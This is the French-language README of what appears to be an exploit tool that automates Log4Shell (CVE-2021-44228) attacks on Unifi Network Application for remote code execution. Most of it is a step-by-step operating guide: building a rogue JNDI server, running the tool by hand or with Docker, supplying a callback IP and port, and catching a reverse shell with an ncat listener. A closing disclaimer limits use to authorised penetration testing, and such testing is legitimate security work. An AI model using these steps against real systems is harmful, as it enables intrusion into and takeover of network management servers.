
Exploitation de CVE-2021-44228 dans Unifi Network Application pour exécution de code à distance et plus.
Exploitation de CVE-2021-44228 dans l'application réseau Unifi pour l'exécution de code à distance et plus.
Les preuves de concept pour cette vulnérabilité sont dispersées et doivent être réalisées manuellement. Ce dépôt automatise le processus d'exploitation. Consultez l'article de blog ci-dessus pour des conseils sur la post-exploitation.
Ce dépôt peut être utilisé manuellement ou avec Docker.
Pour télécharger et exécuter l'exploit manuellement, suivez les étapes suivantes. Tout d'abord, assurez-vous que Java et Maven sont installés sur votre machine d'attaque. Pour ce faire avec apt sur les systèmes basés sur Debian, exécutez la commande suivante :
apt update && apt install openjdk-11-jre maven
Clonez le dépôt GitHub et installez toutes les dépendances Python :
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
&& cd Log4jUnifi && pip3 install -r requirements.txt
Depuis la racine du dépôt Log4jUnifi, compilez le projet Rogue-Jndi avec la commande ci-dessous :
mvn package -f utils/rogue-jndi/
Tout d'abord, assurez-vous que Docker est installé sur votre machine d'attaque. (Je ne vais pas vous expliquer comment faire)
Ensuite, exécutez la commande suivante pour cloner le dépôt et construire l'image Docker que nous allons utiliser.
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
&& cd Log4jUnifi && docker build -t log4junifi .
Pour exécuter le conteneur, lancez une commande similaire à la suivante avec vos drapeaux de ligne de commande ajoutés. Notez que le conteneur ne récupérera pas le reverse shell. Vous devez créer un écouteur ncat dans une session shell séparée :
docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi \
-u https://unifi.acme.com:8443 -i 192.168.1.1 -p 4444
usage: exploit.py [-h] -u URL -i CALLBACK -p PORT
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Unifi Network Manager base URL
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
Obtenez un reverse shell en utilisant l'outil installé sur votre système local :
python3 exploit.py -u https://unifi.acme.com:8443 -i 10.10.10.1 -p 4444
Cet outil est conçu pour être utilisé lors de tests de pénétration ; l'utilisation de cet outil pour attaquer des cibles sans consentement mutuel préalable est illégale. Il est de la responsabilité de l'utilisateur final de se conformer à toutes les lois locales, étatiques et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables de toute mauvaise utilisation de ce programme.